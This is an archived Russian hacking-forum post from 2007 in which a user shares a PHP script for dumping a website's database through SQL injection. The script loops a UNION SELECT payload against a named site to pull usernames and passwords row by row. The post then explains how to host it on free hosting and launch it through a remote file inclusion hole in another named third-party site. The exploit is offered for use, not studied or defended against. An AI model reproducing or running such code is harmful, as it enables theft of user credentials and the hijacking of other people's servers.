ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Слив базы через SQL-inj в цикле |

08.07.2007, 04:32
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме: 404154
Репутация:
140
|
|
Слив базы через SQL-inj в цикле
Может было уже, но не нащел, по этому пишу свою статью..
Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу
сразу, а можно только одной строкой, и далее приходится перебирать
через limit. Можно ли автоматизировать этот процесс?? Да. Можно.
И сегодня я вам расскажу, как это сделать!
Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого..
Код:
<?php
$req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116,97,62),nick,char(58),passwd,char(60,47,100,97,116,97,62)),7,8,9,10,11,12,13,14+from+users+limit+';
// char(60,100,97,116,97,62) = <data>
// char(60,47,100,97,116,97,62) = </data>
// В итоге из базы вернется такая строка: <data>username:password</data>
$tag1='<data>';
$tag2='</data>';
// Между какими тегами ищем наши данные
$max=3203;
// Максимальное число пользователей в базе
error_reporting(0);
ob_implicit_flush();
echo '<pre>';
// Открываем цикл
for ($i=0;$i<$max;$i++)
{
con ($req.$i.',1/*',$tag1,$tag2);
}
echo '</pre>';
// Собственно сама функция
function con($url,$a1,$a2)
{
// Получаем порт и хост из адреса
$service_port = getservbyname('www', 'tcp');
$host=substr($url,7,strpos($url,"/",7)-7);
$address = gethostbyname($host);
// Создаем сокет
$socket = socket_create(AF_INET, SOCK_STREAM, 0);
// Коннектимся
$result = socket_connect($socket, $address, $service_port);
switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5))
{
case 2:
echo "[-] Connection Refused\n";
break;
case 1:
// echo "[-] Connected\n"; // Комментируем эту строку, чтобы не отображалась при выводе
break;
case 0:
echo "[-] Timeout\n";
break;
}
// Формируем запрос
$in = "GET $url HTTP/1.0\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
// Запрашиваем страницу
socket_write($socket, $in, strlen ($in));
$out = '';
$text='';
// Получам данные
while ($out = socket_read($socket, 2048)) {
$text.=$out;
}
socket_close ($socket);
// Ищем в полученной странице наши теги и выводим строку между ними
echo substr($text,strpos($text,$a1),strpos($text,$a2,strpos($text,$a1))-strpos($text,$a1));
echo "\n";
}
?>
Заливаем этот скриптик куда-нить на narod.ru.
Далее ищем сайт, уязвимый php-inj, например
*http://www.ultriplo.com/index.php?page=[url].php
и запускаем скрипт
*http://www.ultriplo.com/index.php?page=http://standmp3.narod.ru/get
Таким образом даже через модем мы можем быстро вытащить всю базу... Скорость зависит от ширины канала того сайта, на котором мы запускаем скрипт...
Вот!  Спасибо за внимание..
Created by 5hr4M...
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|